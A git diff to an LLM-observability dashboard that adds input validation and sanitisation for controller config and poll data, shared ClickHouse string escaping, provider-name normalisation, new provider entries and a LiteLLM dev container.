+function providerToExtractor(
+ provider: string
+): keyof PayloadExtractionConfig | null {
+ if (OPENAI_COMPATIBLE_PROVIDERS.has(provider)) return "openai";
+ if (provider === "anthropic") return "anthropic";
+ if (provider === "gemini") return "gemini";
+ if (provider === "qwen") return "qwen";
+ if (provider === "bedrock") return "bedrock";
+ if (provider === "custom") return "custom";
+ if (provider === "ollama") return "ollama";
+ return null;
+}
+// PROVIDER_LABELS humanizes every provider string discovery may emit (chips),
+// which is a superset of the payload-extraction toggles. Discovered SaaS vendors
+// keep their names for display even though they share the OpenAI extractor.
const PROVIDER_LABELS: Record<string, string> = {
openai: getMessage().AGENTS_PROVIDER_OPENAI,
anthropic: getMessage().AGENTS_PROVIDER_ANTHROPIC,
gemini: getMessage().AGENTS_PROVIDER_GEMINI,
+ qwen: getMessage().AGENTS_PROVIDER_QWEN,
cohere: getMessage().AGENTS_PROVIDER_COHERE,
mistral: getMessage().AGENTS_PROVIDER_MISTRAL,
groq: getMessage().AGENTS_PROVIDER_GROQ,
@@ -67,30 +96,27 @@ const PROVIDER_LABELS: Record<string, string> = {
vertex_ai: getMessage().AGENTS_PROVIDER_VERTEX_AI,
azure_inference: getMessage().AGENTS_PROVIDER_AZURE_INFERENCE,
bedrock: getMessage().AGENTS_PROVIDER_BEDROCK,
+ ollama: getMessage().AGENTS_PROVIDER_OLLAMA,
+ custom: getMessage().AGENTS_PROVIDER_CUSTOM,
};
const DEFAULT_PAYLOAD_EXTRACTION: PayloadExtractionConfig = {
openai: false,
anthropic: false,
gemini: false,
- cohere: false,
- mistral: false,
- groq: false,
- deepseek: false,
- together: false,
- fireworks: false,
- vercel_ai: false,
- vertex_ai: false,
- azure_inference: false,
- azure_openai: false,
+ qwen: false,
bedrock: false,
- litellm: false,
+ custom: false,
ollama: false,
};
const DEFAULT_CONFIG: ControllerConfig = {
export: {
- otlp_endpoint: "http://localhost:4318",
+ // Empty by default: the controller uses its own OTEL_EXPORTER_OTLP_ENDPOINT
+ // (set per-deployment, e.g. the in-cluster collector). Only set this to
+ // override that endpoint. A hardcoded localhost default would point the
+ // controller at itself and silently drop telemetry.
+ otlp_endpoint: "",
otlp_headers: {},
otlp_protocol: "http/protobuf",
},
@@ -837,8 +863,9 @@ function buildDefaultConfig(
const payloadExtraction = { ...DEFAULT_PAYLOAD_EXTRACTION };
for (const service of sourceServices) {
for (const provider of service.llm_providers || []) {
- if (provider in payloadExtraction) {
- payloadExtraction[provider as keyof PayloadExtractionConfig] = true;
+ const key = providerToExtractor(provider);
+ if (key) {
+ payloadExtraction[key] = true;
}
}
}
diff --git a/src/client/src/app/api/controller/config/route.ts b/src/client/src/app/api/controller/config/route.ts
index ae96ef20..b72a9f35 100644
--- a/src/client/src/app/api/controller/config/route.ts
+++ b/src/client/src/app/api/controller/config/route.ts
@@ -3,7 +3,10 @@ import {
getControllerConfig,
saveControllerConfig,
} from "@/lib/platform/controller";
-import type { ControllerConfig } from "@/types/controller";
+import {
+ validateControllerConfig,
+ ConfigValidationError,
+} from "@/lib/platform/controller/validate-config";
export async function GET(request: Request) {
const { searchParams } = new URL(request.url);
@@ -37,16 +40,23 @@ export async function GET(request: Request) {
export async function POST(request: Request) {
try {
const body = await request.json();
- const { instance_id, config } = body as {
- instance_id?: string;
- config?: ControllerConfig;
- };
+ const { instance_id } = body as { instance_id?: string };
+
+ if (body?.config === undefined || body?.config === null) {
+ return Response.json({ error: "config is required" }, { status: 400 });
+ }
- if (!config) {
- return Response.json(
- { error: "config is required" },
- { status: 400 }
- );
+ // The controller fetches and EXECUTES this config, and it is writable by
+ // any authenticated user, so validate + sanitize it into a known bounded
+ // shape before persisting. Reject hostile/malformed input outright.
+ let config;
+ try {
+ config = validateControllerConfig(body.config);
+ } catch (e) {
+ if (e instanceof ConfigValidationError) {
+ return Response.json({ error: `Invalid config: ${e.message}` }, { status: 400 });
+ }
+ throw e;
}
// Save config to ClickHouse. The controller will pick it up
diff --git a/src/client/src/app/api/controller/poll/route.ts b/src/client/src/app/api/controller/poll/route.ts
index 2201ce47..fb64c103 100644
--- a/src/client/src/app/api/controller/poll/route.ts
+++ b/src/client/src/app/api/controller/poll/route.ts
@@ -16,8 +16,8 @@ import {
import { KNOWN_ACTIONS } from "@/types/controller";
import { getAllFeatureHandlers } from "@/lib/platform/controller/features";
import type { ReportedService } from "@/lib/platform/controller/features";
-import { getFirstDBConfig } from "@/lib/db-config";
import { getAPIKeyInfo, hasAnyAPIKeys } from "@/lib/platform/api-keys";
+import { getFirstDBConfig } from "@/lib/db-config";
import type { ControllerConfig, FeatureDesiredState } from "@/types/controller";
import crypto from "crypto";
@@ -71,6 +71,11 @@ async function authenticatePollRequest(
return { dbId: apiInfo.databaseConfigId };
}
+ // Auth model (intentional, for fast onboarding):
+ // - If any API key exists, the controller MUST send a valid one.
+ // - If no API key has been created yet, the controller may poll without
+ // one so it can come up before the operator finishes onboarding. The
+ // moment the first key is created, this path closes automatically.
const keysExist = await hasAnyAPIKeys();
if (keysExist) {
return Response.json(
@@ -82,14 +87,10 @@ async function authenticatePollRequest(
);
}
- console.warn("controller poll: no API keys configured -- poll endpoint is unauthenticated");
const dbConfig = await getFirstDBConfig();
if (!dbConfig) {
return Response.json(
- {
- error:
- "No database configuration found. Complete onboarding first.",
- },
+ { error: "No database configuration found. Complete onboarding first." },
{ status: 503 }
);
}
@@ -141,44 +142,67 @@ async function phaseUpsertServices(
return reportedServices;
}
+ // Coerce/validate untrusted poll fields into known types/sizes before insert.
+ // The body is attacker-influenceable; downstream code (and queries) assume
+ // these are strings, so a non-string or oversized value must be normalized.
+ const MAX_FIELD = 1024;
+ const cStr = (v: unknown): string =>
+ (typeof v === "string" ? v : v == null ? "" : String(v))
+ // eslint-disable-next-line no-control-regex
+ .replace(/[\x00-\x1f\x7f]/g, "")
+ .slice(0, MAX_FIELD);
+ const cStrArr = (v: unknown): string[] =>
+ Array.isArray(v) ? v.slice(0, 256).map(cStr).filter(Boolean) : [];
+
const rows = body.services.map((svc: any) => {
- if (!svc.workload_key) {
- throw new Error(
- "controller poll: service is missing workload_key"
- );
+ const workloadKey = cStr(svc?.workload_key);
+ if (!workloadKey) {
+ throw new Error("controller poll: service is missing workload_key");
+ }
+ const ns = cStr(svc.namespace);
+ const name = cStr(svc.service_name);
+ const status = cStr(svc.instrumentation_status) || "discovered";
+
+ // resource_attributes: keep only string->string entries.
+ const rawAttrs =
+ svc.resource_attributes && typeof svc.resource_attributes === "object"
+ ? (svc.resource_attributes as Record<string, unknown>)
+ : {};
+ const attrs: Record<string, string> = {};
+ for (const k of Object.keys(rawAttrs).slice(0, 128)) {
+ attrs[cStr(k)] = cStr(rawAttrs[k]);
}
- const ns = svc.namespace || "";
- const name = svc.service_name || "";
+
+ const openPorts = Array.isArray(svc.open_ports)
+ ? svc.open_ports
+ .map((p: unknown) => Number(p))
+ .filter((p: number) => Number.isInteger(p) && p > 0 && p <= 65535)
+ .slice(0, 64)
+ : [];
+ const pid = Number.isInteger(svc.pid) && svc.pid > 0 ? svc.pid : 0;
reportedServices.push({
- workload_key: svc.workload_key,
- instrumentation_status:
- svc.instrumentation_status || "discovered",
- resource_attributes: svc.resource_attributes,
+ workload_key: workloadKey,
+ instrumentation_status: status,
+ resource_attributes: attrs,
});
return {
- id: deterministicServiceId(
- body.instance_id,
- svc.workload_key,
- ns,
- name
- ),
+ id: deterministicServiceId(body.instance_id, workloadKey, ns, name),
controller_instance_id: body.instance_id,
cluster_id: clusterId,
service_name: name,
- workload_key: svc.workload_key,
+ workload_key: workloadKey,
namespace: ns,
- language_runtime: svc.language_runtime || "",
- llm_providers: svc.llm_providers || [],
- open_ports: svc.open_ports || [],
- deployment_name: svc.deployment_name || "",
- pid: svc.pid || 0,
- exe_path: svc.exe_path || "",
- instrumentation_status:
- svc.instrumentation_status || "discovered",
- resource_attributes: svc.resource_attributes || {},
- first_seen: svc.first_seen || now,
+ language_runtime: cStr(svc.language_runtime),
+ llm_providers: cStrArr(svc.llm_providers),
+ open_ports: openPorts,
+ deployment_name: cStr(svc.deployment_name),
+ pid,
+ exe_path: cStr(svc.exe_path),
+ instrumentation_status: status,
+ resource_attributes: attrs,
+ first_seen: cStr(svc.first_seen) || now,
last_seen: now,
updated_at: now,
};
diff --git a/src/client/src/components/svg/providers.tsx b/src/client/src/components/svg/providers.tsx
index b751358a..7baf186e 100644
--- a/src/client/src/components/svg/providers.tsx
+++ b/src/client/src/components/svg/providers.tsx
@@ -357,6 +357,36 @@ export function FireworksSvg({ className }: SvgProps) {
);
}
+export function CustomGatewaySvg({ className }: SvgProps) {
+ // Generic "LLM gateway / proxy" mark: a gateway/hub on the left fanning out
+ // to multiple model endpoints on the right. Uses currentColor so it adapts
+ // to light/dark themes like the other provider marks.
+ return (
+ <svg
+ viewBox="0 0 24 24"
+ xmlns="http://www.w3.org/2000/svg"
+ className={className}
+ fill="none"
+ stroke="currentColor"
+ strokeWidth="1.8"
+ strokeLinecap="round"
+ strokeLinejoin="round"
+ >
+ {/* gateway node */}
+ <rect x="2.5" y="9" width="5" height="6" rx="1.2" fill="currentColor" stroke="none" />
+ {/* routing lines to the three endpoints */}
+ <path d="M7.5 12h3.5" />
+ <path d="M11 12l4-5.5" />
+ <path d="M11 12h4.5" />
+ <path d="M11 12l4 5.5" />
+ {/* model endpoints */}
+ <circle cx="18" cy="6.5" r="2.4" />
+ <circle cx="19.2" cy="12" r="2.4" />
+ <circle cx="18" cy="17.5" r="2.4" />
+ </svg>
+ );
+}
+
const PROVIDER_ICON_MAP: Record<string, React.FC<SvgProps>> = {
openai: OpenAISvg,
anthropic: AnthropicSvg,
@@ -374,6 +404,7 @@ const PROVIDER_ICON_MAP: Record<string, React.FC<SvgProps>> = {
vercel_ai: VercelSvg,
vertex_ai: VertexSvg,
litellm: LiteLLMSvg,
+ custom: CustomGatewaySvg,
};
export function ProviderIcon({
@@ -385,6 +416,10 @@ export function ProviderIcon({
}) {
const Icon = PROVIDER_ICON_MAP[provider.toLowerCase()];
if (Icon) return <Icon className={className} />;
+ // Unknown providers (e.g. agent frameworks like crewai/langgraph, or future
+ // vendors) render no icon rather than a misleading gateway mark. The generic
+ // gateway icon is reserved for the explicit `custom` provider above — a
+ // self-hosted LLM gateway — not for anything we simply don't recognize.
return null;
}
diff --git a/src/client/src/constants/messages/en.ts b/src/client/src/constants/messages/en.ts
index 788c4c07..95e669d9 100644
--- a/src/client/src/constants/messages/en.ts
+++ b/src/client/src/constants/messages/en.ts
@@ -743,7 +743,8 @@ export const AGENTS_CONFIG_POLL_INTERVAL = "Poll Interval (seconds)";
export const AGENTS_CONFIG_POLL_INTERVAL_HELP = "How often the controller polls for updates and reports services. Lower values mean faster action response but more load. (5-300s)";
export const AGENTS_CONFIG_EXPORT_SETTINGS = "Export Settings";
export const AGENTS_CONFIG_OTLP_ENDPOINT = "OTLP Endpoint";
-export const AGENTS_CONFIG_OTLP_ENDPOINT_PLACEHOLDER = "http://localhost:4318";
+export const AGENTS_CONFIG_OTLP_ENDPOINT_PLACEHOLDER =
+ "Leave empty to use the controller's configured endpoint";
export const AGENTS_CONFIG_OTLP_PROTOCOL = "OTLP Protocol";
export const AGENTS_CONFIG_OTLP_PROTOCOL_HTTP = "HTTP/Protobuf";
export const AGENTS_CONFIG_OTLP_PROTOCOL_GRPC = "gRPC";
@@ -773,6 +774,9 @@ export const AGENTS_PROVIDER_VERCEL_AI = "Vercel AI Gateway";
export const AGENTS_PROVIDER_VERTEX_AI = "Vertex AI";
export const AGENTS_PROVIDER_AZURE_INFERENCE = "Azure AI Inference";
export const AGENTS_PROVIDER_BEDROCK = "AWS Bedrock";
+export const AGENTS_PROVIDER_QWEN = "Qwen";
+export const AGENTS_PROVIDER_OLLAMA = "Ollama";
+export const AGENTS_PROVIDER_CUSTOM = "Custom LLM Gateway";
// Getting Started - Openground
diff --git a/src/client/src/lib/clickhouse-escape.ts b/src/client/src/lib/clickhouse-escape.ts
new file mode 100644
index 00000000..24ea8b47
--- /dev/null
+++ b/src/client/src/lib/clickhouse-escape.ts
@@ -0,0 +1,15 @@
+// Single source of truth for escaping a string interpolated into a ClickHouse
+// SQL string literal. Previously this was duplicated in ~7 files; hoisting it
+// means a future hardening applies everywhere at once.
+//
+// It escapes backslashes and single quotes (preventing the value from breaking
+// out of a '...' literal) and strips C0 control characters / DEL, which have no
+// legitimate place in these identifiers and could otherwise corrupt a query or
+// the JSONEachRow stream.
+export function escapeClickHouseString(value: string): string {
+ return value
+ .replace(/\\/g, "\\\\")
+ .replace(/'/g, "\\'")
+ // eslint-disable-next-line no-control-regex
+ .replace(/[\x00-\x1f\x7f]/g, "");
+}
diff --git a/src/client/src/lib/platform/agents/aggregate-graph.ts b/src/client/src/lib/platform/agents/aggregate-graph.ts
index f57d3d3c..b4731f24 100644
--- a/src/client/src/lib/platform/agents/aggregate-graph.ts
+++ b/src/client/src/lib/platform/agents/aggregate-graph.ts
@@ -23,10 +23,9 @@ import {
import { buildVersionWhereClause } from "./version-filter";
import { agentsLogger } from "./logger";
import type { VersionFilter } from "@/types/platform";
+import { escapeClickHouseString } from "@/lib/clickhouse-escape";
-function escape(value: string): string {
- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
-}
+const escape = escapeClickHouseString;
export type AggregateNodeKind = "span" | "tool";
diff --git a/src/client/src/lib/platform/agents/index.ts b/src/client/src/lib/platform/agents/index.ts
index 196a8402..b49f676b 100644
--- a/src/client/src/lib/platform/agents/index.ts
+++ b/src/client/src/lib/platform/agents/index.ts
@@ -24,10 +24,9 @@ import type {
import { invalidate, POLICY_DETAIL, POLICY_LIST, swr } from "./cache";
import { agentsLogger } from "./logger";
import { AGENTS_SUMMARY_TABLE } from "./table-details";
+import { escapeClickHouseString } from "@/lib/clickhouse-escape";
-function escape(value: string): string {
- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
-}
+const escape = escapeClickHouseString;
function escapeList(values: string[]): string {
return values.map((v) => `'${escape(v)}'`).join(", ");
diff --git a/src/client/src/lib/platform/agents/materialize.ts b/src/client/src/lib/platform/agents/materialize.ts
index d5644d88..9324d728 100644
--- a/src/client/src/lib/platform/agents/materialize.ts
+++ b/src/client/src/lib/platform/agents/materialize.ts
@@ -23,6 +23,8 @@ import {
upsertVersion,
} from "./snapshot";
import { AGENTS_SUMMARY_TABLE } from "./table-details";
+import { escapeClickHouseString } from "@/lib/clickhouse-escape";
+import { mergeProviders } from "./provider-normalize";
/**
* Maximum agents the materializer touches in a single tick.
@@ -50,9 +52,7 @@ const MAX_AGENTS_PER_TICK = Math.max(
*/
const _materializeCursor = new Map<string, number>();
-function escape(value: string): string {
- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
-}
+const escape = escapeClickHouseString;
interface DiscoveredAgent {
agent_key: string;
@@ -609,19 +609,13 @@ export async function materializeAgents(
// logos on the agents table for freshly-discovered controller
// workloads that haven't emitted GenAI spans yet, and for SDK
// workloads where the controller saw the import but the snapshot
- // window did not yet contain a request. We clone before pushing so
- // we don't mutate the snapshot / cached-version arrays in place.
- if (agent.controller_llm_providers.length) {
- const merged = providers.slice();
- const seen = new Set(merged);
- for (const p of agent.controller_llm_providers) {
- if (p && !seen.has(p)) {
- merged.push(p);
- seen.add(p);
- }
- }
- providers = merged;
- }
+ // window did not yet contain a request.
+ //
+ // mergeProviders canonicalizes names across the two vocabularies
+ // (controller short names vs OTel semconv names, e.g. "gemini" vs
+ // "gcp.gemini") so the same provider doesn't appear twice with only
+ // one matching a logo.
+ providers = mergeProviders(providers, agent.controller_llm_providers);
const requestCount24h = requestCounts.get(agent.agent_key) || 0;
summaryRows.push({
diff --git a/src/client/src/lib/platform/agents/provider-normalize.ts b/src/client/src/lib/platform/agents/provider-normalize.ts
new file mode 100644
index 00000000..259105f7
--- /dev/null
+++ b/src/client/src/lib/platform/agents/provider-normalize.ts
@@ -0,0 +1,47 @@
+// Provider names arrive from two vocabularies that must be unified before they
+// are deduped/displayed:
+// - the controller's eBPF discovery uses short names: "gemini", "bedrock", ...
+// - OBI/SDK traces use the OTel GenAI semconv names: "gcp.gemini",
+// "aws.bedrock", "azure.ai.openai", ...
+// Without normalization the same provider shows up twice on an agent (e.g.
+// "gemini" + "gcp.gemini"), with only one of them matching a logo. We canonicalize
+// to the SHORT name, which is what the UI's provider icon/label maps key on.
+//
+// Keep this in sync as new providers gain semconv names. It is intentionally a
+// superset (aliases that don't occur yet are harmless).
+const PROVIDER_ALIASES: Record<string, string> = {
+ "gcp.gemini": "gemini",
+ "gcp.vertex_ai": "vertex_ai",
+ "gcp.vertex.ai": "vertex_ai",
+ "aws.bedrock": "bedrock",
+ "azure.ai.openai": "azure_openai",
+ "azure.ai.inference": "azure_inference",
+ "az.ai.openai": "azure_openai",
+ "az.ai.inference": "azure_inference",
+};
+
+/** canonicalProvider maps a provider name (controller-short or OTel-semconv) to
+ * the single canonical short form used for dedup and logo/label lookup. */
+export function canonicalProvider(name: string): string {
+ const key = name.trim().toLowerCase();
+ return PROVIDER_ALIASES[key] ?? key;
+}
+
+/** mergeProviders unions provider lists, canonicalizing names so aliases of the
+ * same provider collapse to one entry. Order is preserved (first occurrence). */
+export function mergeProviders(...lists: Array<string[] | undefined>): string[] {
+ const seen = new Set<string>();
+ const out: string[] = [];
+ for (const list of lists) {
+ if (!list) continue;
+ for (const raw of list) {
+ if (!raw) continue;
+ const c = canonicalProvider(raw);
+ if (!seen.has(c)) {
+ seen.add(c);
+ out.push(c);
+ }
+ }
+ }
+ return out;
+}
diff --git a/src/client/src/lib/platform/agents/snapshot.ts b/src/client/src/lib/platform/agents/snapshot.ts
index 3e7be32c..b6f9b86e 100644
--- a/src/client/src/lib/platform/agents/snapshot.ts
+++ b/src/client/src/lib/platform/agents/snapshot.ts
@@ -43,10 +43,10 @@ import type {
} from "@/types/agents";
import { computeAgentKey } from "./index";
import { AGENT_VERSIONS_TABLE } from "./table-details";
+import { escapeClickHouseString } from "@/lib/clickhouse-escape";
+import { mergeProviders } from "./provider-normalize";
-function escape(value: string): string {
- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
-}
+const escape = escapeClickHouseString;
function normalizeWhitespace(s: string): string {
return (s || "").replace(/\s+/g, " ").trim();
@@ -343,8 +343,11 @@ export async function deriveSnapshot(
if (row.temperature !== null && row.temperature !== undefined) runtimeConfig.temperature = Number(row.temperature);
if (row.top_p !== null && row.top_p !== undefined) runtimeConfig.top_p = Number(row.top_p);
if (row.max_tokens !== null && row.max_tokens !== undefined) runtimeConfig.max_tokens = Number(row.max_tokens);
- const providers = (row.providers || []).filter(Boolean);
- if (providers.length) runtimeConfig.provider = providers.sort()[0];
+ // Canonicalize provider names (OTel semconv "gcp.gemini" -> short "gemini")
+ // so the stored version + fingerprint + provider chips are consistent with
+ // the controller's vocabulary and don't double-count one provider.
+ const providers = mergeProviders((row.providers as string[]) || []);
+ if (providers.length) runtimeConfig.provider = providers.slice().sort()[0];
const hash = fingerprint({
systemPrompt: row.system_prompt || "",
diff --git a/src/client/src/lib/platform/agents/version-filter.ts b/src/client/src/lib/platform/agents/version-filter.ts
index 50b3e022..fca6b470 100644
--- a/src/client/src/lib/platform/agents/version-filter.ts
+++ b/src/client/src/lib/platform/agents/version-filter.ts
@@ -31,10 +31,9 @@ import { getAgent } from "./index";
// have to drag in the DB / next-auth chain. See the comment in
// `version-where.ts` for the full rationale.
export { buildVersionWhereClause } from "./version-where";
+import { escapeClickHouseString } from "@/lib/clickhouse-escape";
-function escape(value: string): string {
- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
-}
+const escape = escapeClickHouseString;
function toClickHouseDateTime(value: string | Date): string {
if (typeof value === "string") {
diff --git a/src/client/src/lib/platform/agents/version-where.ts b/src/client/src/lib/platform/agents/version-where.ts
index 71f8e494..33b918a4 100644
--- a/src/client/src/lib/platform/agents/version-where.ts
+++ b/src/client/src/lib/platform/agents/version-where.ts
@@ -13,10 +13,11 @@
* `VersionFilter` type.
*/
import type { VersionFilter } from "@/types/platform";
+// Pure, side-effect-free helper (regex only) — safe to import here without
+// dragging in the DB/next-auth chain this leaf module deliberately avoids.
+import { escapeClickHouseString } from "@/lib/clickhouse-escape";
-function escape(value: string): string {
- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
-}
+const escape = escapeClickHouseString;
/**
* ClickHouse DateTime values round-trip best with second precision. Some
diff --git a/src/client/src/lib/platform/controller/index.ts b/src/client/src/lib/platform/controller/index.ts
index 39d6050a..a23ee4f3 100644
--- a/src/client/src/lib/platform/controller/index.ts
+++ b/src/client/src/lib/platform/controller/index.ts
@@ -1,4 +1,5 @@
import { dataCollector } from "@/lib/platform/common";
+import { escapeClickHouseString } from "@/lib/clickhouse-escape";
import {
CONTROLLER_SERVICES_TABLE,
CONTROLLER_INSTANCES_TABLE,
@@ -23,9 +24,7 @@ function clickhouseNow(): string {
return new Date().toISOString().replace("T", " ").replace(/\.\d{3}Z$/, "");
}
-function escapeClickHouse(value: string): string {
- return value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
-}
+const escapeClickHouse = escapeClickHouseString;
// --- ClickHouse queries (OpenLIT dashboard reads/writes) ---
diff --git a/src/client/src/lib/platform/controller/validate-config.ts b/src/client/src/lib/platform/controller/validate-config.ts
new file mode 100644
index 00000000..c5a26efd
--- /dev/null
+++ b/src/client/src/lib/platform/controller/validate-config.ts
@@ -0,0 +1,160 @@
+import type {
+ ControllerConfig,
+ ExportConfig,
+ DiscoveryConfig,
+ PayloadExtractionConfig,
+} from "@/types/controller";
+
+// Controller config is fetched by every controller instance and then EXECUTED
+// by it (export endpoints, payload extractors, custom hosts, sdk_version). It is
+// writable by any authenticated dashboard user, so we validate + sanitize it at
+// the API ingress before persisting — a malformed or hostile config must never
+// reach a poller. This mirrors the controller-side validation (defense in depth)
+// and keeps the stored blob to a known, bounded shape.
+
+const MAX_STR = 2048;
+const MAX_HOSTS = 256;
+const MAX_TARGETS = 512;
+const MAX_HEADERS = 64;
+
+// Same safe version grammar the controller enforces (PEP 440-ish): forbids
+// whitespace/quotes/;|&$ etc. so it can never break out of a pip install arg.
+const SDK_VERSION_RE = /^[A-Za-z0-9][A-Za-z0-9._+-]{0,63}$/;
+
+// C0 control characters + DEL. Stripped from every persisted string so they
+// cannot corrupt downstream queries/storage or inject into env/unit files.
+// eslint-disable-next-line no-control-regex
+const CONTROL_CHARS_RE = /[\x00-\x1f\x7f]/g;
+
+export class ConfigValidationError extends Error {}
+
+function str(v: unknown, field: string): string {
+ if (typeof v !== "string") {
+ throw new ConfigValidationError(`${field} must be a string`);
+ }
+ if (v.length > MAX_STR) {
+ throw new ConfigValidationError(`${field} exceeds ${MAX_STR} chars`);
+ }
+ return v.replace(CONTROL_CHARS_RE, "");
+}
+
+function optStr(v: unknown, field: string): string | undefined {
+ if (v === undefined || v === null) return undefined;
+ return str(v, field);
+}
+
+function bool(v: unknown): boolean {
+ return v === true;
+}
+
+function sanitizeExport(raw: unknown): ExportConfig {
+ const e = (raw ?? {}) as Record<string, unknown>;
+ const headersRaw = (e.otlp_headers ?? {}) as Record<string, unknown>;
+ const headers: Record<string, string> = {};
+ for (const k of Object.keys(headersRaw).slice(0, MAX_HEADERS)) {
+ headers[str(k, "otlp_headers key")] = str(headersRaw[k], `otlp_headers[${k}]`);
+ }
+ return {
+ otlp_endpoint: optStr(e.otlp_endpoint, "export.otlp_endpoint") ?? "",
+ otlp_headers: headers,
+ otlp_protocol: optStr(e.otlp_protocol, "export.otlp_protocol") ?? "",
+ otlp_traces_endpoint: optStr(e.otlp_traces_endpoint, "export.otlp_traces_endpoint"),
+ otlp_metrics_endpoint: optStr(e.otlp_metrics_endpoint, "export.otlp_metrics_endpoint"),
+ otlp_logs_endpoint: optStr(e.otlp_logs_endpoint, "export.otlp_logs_endpoint"),
+ };
+}
+
+function sanitizeTargets(arr: unknown, field: string) {
+ return (Array.isArray(arr) ? arr : []).slice(0, MAX_TARGETS).map((t) => {
+ const o = (t ?? {}) as Record<string, unknown>;
+ return {
+ service_name: optStr(o.service_name, `${field}.service_name`),
+ open_ports: optStr(o.open_ports, `${field}.open_ports`),
+ exe_path: optStr(o.exe_path, `${field}.exe_path`),
+ cmd_args: optStr(o.cmd_args, `${field}.cmd_args`),
+ };
+ });
+}
+
+function sanitizeK8sSelectors(arr: unknown) {
+ return (Array.isArray(arr) ? arr : []).slice(0, MAX_TARGETS).map((s) => {
+ const o = (s ?? {}) as Record<string, unknown>;
+ return {
+ namespace: optStr(o.namespace, "k8s.namespace"),
+ deployment_name: optStr(o.deployment_name, "k8s.deployment_name"),
+ };
+ });
+}
+
+function sanitizeDiscovery(raw: unknown): DiscoveryConfig {
+ const d = (raw ?? {}) as Record<string, unknown>;
+ const k8s = d.kubernetes as Record<string, unknown> | undefined;
+ return {
+ auto_discover: bool(d.auto_discover),
+ instrument: sanitizeTargets(d.instrument, "discovery.instrument"),
+ exclude: sanitizeTargets(d.exclude, "discovery.exclude"),
+ kubernetes: k8s
+ ? {
+ enabled: optStr(k8s.enabled, "kubernetes.enabled") ?? "",
+ instrument: sanitizeK8sSelectors(k8s.instrument),
+ exclude: sanitizeK8sSelectors(k8s.exclude),
+ }
+ : undefined,
+ };
+}
+
+function sanitizePayloadExtraction(raw: unknown): PayloadExtractionConfig {
+ const p = (raw ?? {}) as Record<string, unknown>;
+ return {
+ openai: bool(p.openai),
+ anthropic: bool(p.anthropic),
+ gemini: bool(p.gemini),
+ qwen: bool(p.qwen),
+ bedrock: bool(p.bedrock),
+ custom: bool(p.custom),
+ ollama: bool(p.ollama),
+ };
+}
+
+/**
+ * validateControllerConfig sanitizes an untrusted ControllerConfig payload into
+ * a known, bounded shape. Throws ConfigValidationError on anything invalid.
+ */
+export function validateControllerConfig(raw: unknown): ControllerConfig {
+ if (!raw || typeof raw !== "object") {
+ throw new ConfigValidationError("config must be an object");
+ }
+ const c = raw as Record<string, unknown>;
+
+ const customHosts = (Array.isArray(c.custom_llm_hosts) ? c.custom_llm_hosts : [])
+ .slice(0, MAX_HOSTS)
+ .map((h) => str(h, "custom_llm_hosts entry").trim())
+ .filter(Boolean);
+
+ let pollInterval: number | undefined;
+ if (c.poll_interval_seconds !== undefined && c.poll_interval_seconds !== null) {
+ const n = Number(c.poll_interval_seconds);
+ if (!Number.isFinite(n) || n < 5 || n > 300) {
+ throw new ConfigValidationError(
+ "poll_interval_seconds must be a number between 5 and 300"
+ );
+ }
+ pollInterval = Math.floor(n);
+ }
+
+ // sdk_version is not part of ControllerConfig but may ride along on some
+ // payloads; if present, enforce the safe grammar here too.
+ const sdkVersion = (c as Record<string, unknown>).sdk_version;
+ if (typeof sdkVersion === "string" && sdkVersion !== "" && !SDK_VERSION_RE.test(sdkVersion)) {
+ throw new ConfigValidationError("sdk_version is not a valid version string");
+ }
+
+ return {
+ export: sanitizeExport(c.export),
+ discovery: sanitizeDiscovery(c.discovery),
+ payload_extraction: sanitizePayloadExtraction(c.payload_extraction),
+ custom_llm_hosts: customHosts,
+ environment: optStr(c.environment, "environment"),
+ poll_interval_seconds: pollInterval,
+ };
+}
diff --git a/src/client/src/types/controller.ts b/src/client/src/types/controller.ts
index e6b21b45..b35096fa 100644
--- a/src/client/src/types/controller.ts
+++ b/src/client/src/types/controller.ts
@@ -81,22 +81,19 @@ export interface DiscoveryConfig {
kubernetes?: K8sDiscovery;
}
+// Payload extraction toggles map 1:1 to OBI GenAI extractors the controller can
+// actually enable. OBI natively parses openai/anthropic/gemini/qwen/bedrock; all
+// OpenAI-compatible SaaS vendors are parsed by the OpenAI extractor; `custom`
+// covers self-hosted OpenAI-compatible gateways; `ollama` covers Ollama's native
+// API. (Discovery may still surface other vendor names as chips — see
+// PROVIDER_LABELS — but only these have a dedicated extractor toggle.)
export interface PayloadExtractionConfig {
openai: boolean;
anthropic: boolean;
gemini: boolean;
- cohere: boolean;
- mistral: boolean;
- groq: boolean;
- azure_openai: boolean;
- azure_inference: boolean;
+ qwen: boolean;
bedrock: boolean;
- vercel_ai: boolean;
- vertex_ai: boolean;
- litellm: boolean;
- deepseek: boolean;
- together: boolean;
- fireworks: boolean;
+ custom: boolean;
ollama: boolean;
}
diff --git a/src/dev-docker-compose.yml b/src/dev-docker-compose.yml
index 87a02480..f905c498 100644
--- a/src/dev-docker-compose.yml
+++ b/src/dev-docker-compose.yml
@@ -90,7 +90,10 @@ services:
OTEL_EXPORTER_OTLP_ENDPOINT: http://openlit:4318
OPENLIT_POLL_INTERVAL: 10s
OPENLIT_PROC_ROOT: /host/proc
- OPENLIT_INSTANCE_ID: ${OPENLIT_INSTANCE_ID:-}
+ # Pin a stable instance id so controller config (e.g. custom_llm_hosts)
+ # set in the UI survives container recreation. Without this the id is
+ # derived from the container hostname and changes on every recreate.
+ OPENLIT_INSTANCE_ID: ${OPENLIT_INSTANCE_ID:-dev-controller}
volumes:
- /proc:/host/proc:ro
- /sys/kernel/debug:/sys/kernel/debug:ro
@@ -154,6 +157,48 @@ services:
openlit:
condition: service_healthy
+ # Self-hosted LiteLLM proxy (an OpenAI-compatible LLM gateway). Uses a
+ # mock_response in its config so it serves real OpenAI-format completions
+ # without a provider API key. Listens on plain HTTP :4000.
+ litellm:
+ image: ghcr.io/berriai/litellm:main-latest
+ container_name: litellm
+ profiles: [full]
+ command: ["--config", "/app/config.yaml"]
+ environment:
+ LITELLM_MASTER_KEY: sk-1234
+ volumes:
+ - ../examples/litellm-config/config.yaml:/app/config.yaml:ro
+ ports:
+ - "4000:4000"
+ healthcheck:
